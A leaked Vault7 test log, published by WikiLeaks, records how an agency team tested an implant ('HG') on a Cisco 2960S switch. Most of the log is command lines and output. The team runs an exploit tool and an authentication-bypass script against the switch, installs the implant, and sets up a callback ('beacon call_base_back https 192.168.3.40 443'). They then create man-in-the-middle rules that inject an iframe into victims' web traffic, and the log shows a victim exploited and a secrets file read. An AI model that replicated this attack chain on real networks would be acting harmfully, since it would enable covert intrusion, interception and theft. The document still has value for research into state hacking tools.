Vault7: CIA Hacking Tools Revealed

JQJHAIRPIECE - HG Testing

HG was delivered for JQJHAIRPIECE on 8/21/2015 for the Cisco 2960S. CONOP will be to FLXFluxwire to 192.168.3.40 and then . Testing will be limited to performance testing and SMITE in order to provide a quick turn around for Operator. Also need to test SMITE rules that exclude an internal web server (Xetron can help GIPPLE craft these rules).

Testing summary

Testing Notes

Information about target:

WS-C2960S-24PD-L (testing used WS-C2960S-24PS-L)
Boot loader version 12.2(55r)SE (testing used 12.2(55r)SE1)
IOS c2960s-universalk9-mz.122-55.SE8.bin
Local authentication
7 interfaces up - 1,5,6,9,10,20,24
- ports 1,5,6,10 are in VLANVirtual Local Area Network 3
- port 20 is in VLANVirtual Local Area Network 8
- port 24 is uplink trunk
MGMT IP - int vlan 10 - 192.168.10.136
Client mode for VTPVLAN Trunk Protocol domain cisco
VLANS configured - 1 - 12
Upstream router - WS-3560G-24-TS running IOSApple operating system for small devices C3560-IPSERVICESK9-M, version 12.2(55)SE9. (testing used WS-C3560G-24PS running IOS C3560-IPSERVICESK9-M, version 12.2(55)SE8)
Downstream switch - 2960

VMS used

Hairpiece-ICON-172.20.12.30
Hairpiece-Seeds-Fedora10 192.168.3.10
Hairpiece-Flux-192.168.3.40
Hairpiece-Victim - 192.168.10.11

Smoke Test - Use ROCEM to throw HG via FLUX
1. Configured Seeds traffic on Seeds VMVirtual Machine for Hairpiece network and started ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds traffic
2. Successfully established FLUX connection from Hairpiece-Icon to hairpiece-Flux at 192.168.3.40.
3. Sucessfully established rocem interactive mode via flux
4. Set rocem
5. Could not set/unset rocem through flux, but tried outside of flux and it works fine. For purposes of smoke testing, continuing without flux.
6. Set rocem outside of flux
7. Attacked with iac
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# ./iac --ip 192.168.10.136 --l cisco:test test
  LG
  EC -125
  DH
  EC -159
  M
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux#
8. Installed HG with remote:
  
  GOOD - status OK.
  OP: RUNCODE using Per Second
  Code address: 0x044efd34
  No data
  Result: 0x00000001
9. Established CTCounter Terrorism session on port 444 since flux was using port 443. Used Seeds host as IP to trigger.
  > ilm listen hairpiece-1h.txt
  
  Listening for clients on port 444...
  Accepted connection from 192.168.3.10:15890
  Attempting SSLSecure Socket Layer Handshake...
  SSL Handshake Successful!
  [Success]
  New Key: lMzoTDqJUimWHf*yOQXqdzvFrk*LgsOzKIqu8blZt98=
  ************ Success ************
  [ilm listen hairpiece-1h.txt]
  
  [192.168.3.10]>
10. Created mitm rule:
  [192.168.3.10]> mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
  [Pending]
  Job: 136300776
  ************ Pending ************
  [mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -en -bc -bk]
  
  [192.168.3.10]> [Success]
11. Web browsed from Victim and received iframe:
  <body><iframe src="http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ"
12. Uninstalled HG:
  [192.168.3.10]> device uninstall_hg -f
  
  Warning!!!
  This command will remove all capabilities.
  If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
  Memory permissions will not be reset. See Operational Use Notes for more information.
  This connection will be terminated as a result of this command.
  
  Do you wish to continue?
  Enter yes or no: yes
  
  [Success]
  ************ Success ************
  [device uninstall_hg -f]
  
  [192.168.3.10]> [Remote Failure]
  ************ Remote Failure ************
  Connection to device lost!!
Characterization of ROCEM issues with Flux - ROC-12
1. Collected wiresharks of failed set attempts and successful interactive attempts from flux, icon, and rocem log files and sent all to Xetron.
2. Tried using -c flag to change chunk size in ROCEM and tried every size in increments of 50 between 100 and 1500 - ROCEM still would not set through flux.
3. Tried building a flux node with mtu set to 1500 - no luck, ROCEM would not work.
4. Tried using a different flux node, from CMNCaiman (Codename)? testing, at 172.20.19.11 to attempt to flux from outside the network - no difference, rocem would not set.
IXIA performance test - Baseline - no HG
1. Reloaded DUTDevice Under Test to start with a clean configuration
2. Set up IXIA test to run on clean device using Hairpiece NN and the following test parameters:
  1. 50M of constant traffic
  2. 50 internal hosts
  3. 50 upstream hosts
  4. 4 hour test kicked off at 11:40
3. Test complete, saved solarwinds grapsh of CPU, MEM and latency. No alarming spikes, switch was not stressed with this amount of traffic.
4. Saved test report to share as well.
IXIA performance test - Repeat test 3 but with HG installed
1. Reload DUTDevice Under Test to start with a clean device
2. Set ROCEM without using flux
3. Attacked with IACInternational Access Code and uploaded HG
4. Established CTCounter Terrorism session
5. Kicked off IXIA test at 4:30 PM
6. Collected output including report and solarwinds and saved to share. Basically no impact when HG added at 50M of traffic.
IXIA performance test - Higher stress - 500M test - no HG
1. Reload DUTDevice Under Test to start with a clean device
2. Setup IXIA to run with same parameters as Test 3, except 500M of traffic - Kicked off at 4:20
3. Collected Report and solarwinds graphs
IXIA performance test - Repeat test 5 but with HG installed
1. Reload DUTDevice Under Test to start with a clean device
2. Set ROCEM without using flux
3. Attack with IACInternational Access Code and upload HG
4. Establish CTCounter Terrorism session
5. Kick off IXIA test at 500M at 9:20 AM
Received ROCEM on 8/27/15 and began tests for fix to flux
1. Loaded new ROCEM v1.2 delivery to ICON workstation
2. Established flux connection from ICON to 192.168.3.40
3. Used ROCEM set command - successful:
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -s -f fill.bin 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Set
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
4. Telnetted to cisco and was not prompted for creds
5. Unset ROCEM successfully:
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -u -f fill.bin 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Unset
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
6. Telnetted to device and was now prompted for creds again, indicating successful unset.
Smoke test of complete CONOPConcealed Operation through flux
1. Reloaded DUTDevice Under Test to start with a clean device\
2. Establish Flux tunne
3. Set ROCEM, IACInternational Access Code attack and upload HG
4. Unset ROCEM
5. Establish HG Comms on port 444
6. Rebuilt Flux to use 8443 on ICON box so that HG can call back to 443.
7. Established CTCounter Terrorism session with HG
8. Created SMITE rule:
  mitm create http_iframe 192.168.10.0 255.255.255.0 0 0 0.0.0.0 0.0.0.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
9. Successfully exploited Windex victim with iframe, to both coverweb and google:
  
  INFO: CMD >> cat secrets.txt
  ====== C:\Documents and Settings\Loki Lab\Desktop\secrets.txt
  INFO: ====== C:\Documents and Settings\Loki Lab\Desktop\secrets.txt
  This is where we keep the double top secret info.
  INFO: This is where we keep the double top secret info.
  ST2 sess[ 486] >
Test SMITE rule counter
1. [192.168.3.10]> mitm create http_iframe 192.168.10.0 255.255.255.0 0 0 0.0.0.0 0.0.0.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -ac 5 -sm 10 -en -bc -bk
2. Created rule above to test for setting max sessions affected per host to 5 and overall max sessions to 10
3. Browsed from Windex victim 5x and rx iframe 5x successfully.
4. Confirmed that after the 5th iframe, further web browsing sessions from the windex victim were not injected. Sessions remaining listed as 5.
5. Attempted to browse from Seeds host to confirm no iframe injected for hosts on vlan 3 - did not receive iframe
6. Browsed from Windex victim 2 and did rx iframe 5 more times, after fifth time, HG reported no sessions remaining and I received no further iframes.
7. Deleted mitm rule
8. Did not record any CPU spikes during mitm rules firing
Test FilterBroker module stop, start
1. Turned on 50M of IXIA traffic, enterprise profile
2. Confirmed FilterBroker module running with module show:
  FilterBroker 22 Yes Running 0x47d5c54 default:FilterBroker.mod
3. stopped module
4. [192.168.3.10]> module stop FilterBroker
  [Success]
  ************ Success ************
  [module stop FilterBroker]
  
  [192.168.3.10]>
5. FilterBroker 22 Yes Stopped 0x47d5c54 default:FilterBroker.mod
6. Started filterbroker
  [192.168.3.10]> module start FilterBroker.mod
  [Success]
  ************ Success ************
  [module start FilterBroker.mod]
  
  [192.168.3.10]>
7. Did an ilm refresh, then module show:
  FilterBroker 22 Yes Running 0x4393d44 default:FilterBroker.mod
8. Created a new mitm rule - rule successfully created with ID 5
9. Deleted rule 5
Test uninstall of HG
1. IXIA traffic running
2. uninstalled HG with device uninstall_hg -f
  [192.168.3.10]> device uninstall_hg -f
  
  Warning!!!
  This command will remove all capabilities.
  If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
  Memory permissions will not be reset. See Operational Use Notes for more information.
  This connection will be terminated as a result of this command.
  
  Do you wish to continue?
  Enter yes or no: yes
  
  [Success]
  ************ Success ************
  [device uninstall_hg -f]
  
  [192.168.3.10]> [Remote Failure]
  ************ Remote Failure ************
  Connection to device lost!!
  >
3. No log messages recevied on console
Test ROCEM v1.2 set and unset - ./rocem_c2960s-universalk9-mz.122-55.SE8.py -s -f fill.bin 192.168.10.136
1. With IXIA traffic running, testing multiple ROCEM set/unsets via flux
2. Completed 10 rounds of ROCEM set/unset and between each command verified expected behavior on login to switch
3. Tried setting ROCEM 5 times in a row - no issues, ROCEM output looks the same each time, no log messages to DUTDevice Under Test console or CPU spikes
4. Tried unsetting ROCEM 5 times in a row - no issues, ROCEM output looks the same each time, no log messages to DUTDevice Under Test console or CPU spikes
Test CONOPConcealed Operation again after set/usets, with IXIA traffic
1. IXIA traffic running, flx tunnel up
2. Set ROCEM
3. root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -s 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Set
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
4. IAC attack - observed usual high 30s % CPU spike during attack -
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# ./iac --ip 192.168.10.136 --l cisco:test test
  LG
  EC -125
  DH
  EC -159
  M
5. Unset ROCEM
  root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1r/rocem# ./rocem_c2960s-universalk9-mz.122-55.SE8.py -u 192.168.10.136
  [+] Validating data/interactive.bin
  [+] Validating data/set.bin
  [+] Validating data/transfer.bin
  [+] Validating data/unset.bin
  
  ****************************************
  Image: c2960s-universalk9-mz.122-55.SE8
  Host: 192.168.10.136
  Action: Unset
  ****************************************
  
  Proceed? (y/n)y
  [*] Attempting connection to host 192.168.10.136:23
  [+] Connection established
  [*] Sending Protocol Step 1
  [*] Sending Protocol Step 2
  [+] Done
6. Used remote to upload HG - no noticeable increase in CPU during HG upload
7. Established CTCounter Terrorism session with HG -hairpiece.txt had inter set to fw0, added a bridge in flux for port 443, added a route in flux for 192.168.3.10 (IP HG will impersonate)
  [192.168.3.10]> beacon call_base_back https 192.168.3.40 443
  [Success]
  Trigger Sequence Number sent: 20
  ************ Success ************
  [beacon call_base_back https 192.168.3.40 443]
  
  > ilm listen hairpiece-1h.txt
  
  Listening for clients on port 443...
  Accepted connection from 192.168.3.10:12021
  Attempting SSLSecure Socket Layer Handshake...
  SSL Handshake Successful!
  [Success]
  New Key: lKrKpz01fbjBOvwswVnnQubw5ybZU74EjnnylEH0A*s=
  ************ Success ************
  [ilm listen hairpiece-1h.txt]
8. Created SMITE rule
  [192.168.3.10]> mitm create http_iframe 192.168.10.0 255.255.255.0 0 0 0.0.0.0 0.0.0.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -ac 5 -sm 10 -en -bc -bk
  [Pending]
  Job: 136300856
  ************ Pending ************
  [mitm create http_iframe 192.168.10.0 255.255.255.0 0 0 0.0.0.0 0.0.0.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -ac 5 -sm 10 -en -bc -bk]
9. Successfully windexed victim
10. Deleted rule
11. Uninstalled HG with device uninstall
12. No log messages observed on DUT, no cpu spikes.
On-device opsec test
1. reload DUTDevice Under Test to start with clean device
2. collect show tech from switch and collect config in RANCID
3. Run through CONOP

Contact

Tor

Tails

Tips

1. Contact us if you have specific problems

2. What computer to use

3. Do not talk about your submission to others

After

1. Do not talk about your submission to others

2. Act normal

3. Remove traces of your submission

4. If you face legal action

Submit documents to WikiLeaks

Vault7: CIA Hacking Tools Revealed

JQJHAIRPIECE - HG Testing

Testing summary

Testing Notes

e-Highlighter